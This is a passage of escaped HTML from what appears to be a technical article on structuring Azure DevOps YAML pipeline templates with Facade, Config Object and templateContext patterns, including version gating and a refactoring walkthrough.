style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyregistry.azurecr.io\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.BuildId)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003ereplicaCount\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"versioning-the-facade\"\u003eVersioning the Facade\u003c/h3\u003e\n\u003cp\u003eBecause the Facade decouples callers from implementation, breaking changes to the internal tree do not require a coordinated rollout. Add a \u003ccode\u003etemplateVersion\u003c/code\u003e parameter to route to the new implementation while keeping the old path alive for teams that have not migrated:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# deploy-facade.yml — version gate for incremental migration\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeploymentType\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalues\u003c/span\u003e: [\u003cspan style=\"color:#ae81ff\"\u003eaks, appservice, functions]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: {}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etemplateVersion\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalues\u003c/span\u003e: [\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;2\u0026#39;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# v2: uses config object throughout the implementation tree\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ if and(eq(parameters.deploymentType, \u0026#39;aks\u0026#39;), eq(parameters.templateVersion, \u0026#39;2\u0026#39;)) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eimpl/v2/deploy-aks.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003econfig\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# v1: legacy path with individual parameters — stays until all callers migrate\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ elseif eq(parameters.deploymentType, \u0026#39;aks\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eimpl/v1/deploy-aks.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.containerRegistry }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.imageTag }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ereplicaCount\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.replicaCount }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eTeams migrate by adding \u003ccode\u003etemplateVersion: '2'\u003c/code\u003e to their pipeline call. Once all callers are on v2, remove the version gate and the v1 implementation in a single PR.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"combining-patterns--the-context-carrier\"\u003eCombining Patterns — The Context Carrier\u003c/h2\u003e\n\u003ch3 id=\"the-full-pattern\"\u003eThe Full Pattern\u003c/h3\u003e\n\u003cp\u003eLarge platform template libraries combine all three patterns. A Facade presents a stable interface, a Config Object bundles shared settings, and \u003ccode\u003etemplateContext\u003c/code\u003e carries per-job metadata. The result is a library that scales to 100+ files with a caller-facing surface of 3-5 parameters.\u003c/p\u003e\n\u003cp\u003eEach pattern addresses a different scope:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eFacade\u003c/strong\u003e — routing: which implementation to call based on deployment type.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eConfig Object\u003c/strong\u003e — shared config: settings that apply to every job in the invocation.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003etemplateContext\u003c/code\u003e\u003c/strong\u003e — per-item metadata: properties that differ between jobs in the same list.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eA multi-region AKS deployment scenario that uses all three:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# team-b-pipeline.yml — caller sees 4 parameters total\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eshared/deploy-facade.yml@templates\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeploymentType\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eaks\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-production\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003econfig\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyregistry.azurecr.io\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.BuildId)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003ereplicaCount\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeployments\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployEastUS\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eclusterName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eaks-prod-eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eapprovalGroup\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeast-approvers\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Preparing east region artifacts\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployWestUS\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ewestus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eclusterName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eaks-prod-westus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eapprovalGroup\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ewest-approvers\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Preparing west region artifacts\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe Facade receives the call, validates \u003ccode\u003eserviceConnection\u003c/code\u003e, routes to \u003ccode\u003eimpl/deploy-aks.yml\u003c/code\u003e. That implementation receives the \u003ccode\u003econfig\u003c/code\u003e object (shared: registry, image tag, replica count) and iterates the \u003ccode\u003edeployments\u003c/code\u003e list, reading \u003ccode\u003etemplateContext\u003c/code\u003e per deployment (per-item: region, cluster name, approval group). The calling pipeline has no knowledge of the implementation file at all.\u003c/p\u003e\n\u003ch3 id=\"governance-with-required-parameters-and-defaults\"\u003eGovernance with Required Parameters and Defaults\u003c/h3\u003e\n\u003cp\u003eUse \u003ccode\u003edefault:\u003c/code\u003e values on the Config Object\u0026rsquo;s inner properties to make most settings optional. Use YAML comments in the Facade template\u0026rsquo;s \u003ccode\u003eparameters:\u003c/code\u003e block as the canonical contract — this is the only place where the full schema is visible to consumers:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# deploy-facade.yml — annotated config schema as the API contract\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# REQUIRED: Azure service connection name (Project Settings \u0026gt; Service Connections)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# --- Required properties: no defaults; validation block below enforces these ---\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# containerRegistry: string  # ACR login server, e.g. myregistry.azurecr.io\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# imageTag: string           # Docker image tag to deploy, e.g. $(Build.BuildId)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# --- Optional properties: organizational defaults apply when omitted ---\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDev            \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# deployment environment; controls approval gates\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ereplicaCount\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e              \u003cspan style=\"color:#75715e\"\u003e# AKS replica count; set to 5+ for production\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ecacheEnabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e           \u003cspan style=\"color:#75715e\"\u003e# enable ACR build layer caching\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eapprovalRequired\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e      \u003cspan style=\"color:#75715e\"\u003e# set true to insert a manual approval stage\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003enotificationEmail\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e        \u003cspan style=\"color:#75715e\"\u003e# alert recipient; omit to suppress notifications\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeploymentRegion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus    \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Azure region for geo-specific resources\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeployTimeout\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e            \u003cspan style=\"color:#75715e\"\u003e# deployment timeout in minutes\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIntermediate implementation templates assume the object is already validated. They read properties directly without defensive checks — the Facade is the enforcement point.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"hands-on-example-refactoring-a-5-layer-template-to-2-parameters\"\u003eHands-On Example: Refactoring a 5-Layer Template to 2 Parameters\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eScenario:\u003c/strong\u003e A platform team manages a shared deployment template library with 5 layers: \u003ccode\u003epipeline.yml → release-stages.yml → deployment-stage.yml → deployment-job.yml → deployment-steps.yml\u003c/code\u003e. A recent audit found 14 parameters declared at \u003ccode\u003epipeline.yml\u003c/code\u003e, all threaded through to \u003ccode\u003edeployment-steps.yml\u003c/code\u003e. Adding a \u003ccode\u003ecacheEnabled\u003c/code\u003e flag required editing all 5 files. The goal is to refactor to a 2-parameter interface: \u003ccode\u003eserviceConnection\u003c/code\u003e (required string) and \u003ccode\u003econfig\u003c/code\u003e (optional object with defaults).\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eBefore state — \u003ccode\u003epipeline.yml\u003c/code\u003e:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# pipeline.yml — BEFORE: 14 parameters, all threaded through every layer\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenvironment\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econtainerRegistry\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyregistry.azurecr.io\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eimageTag\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003elatest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan 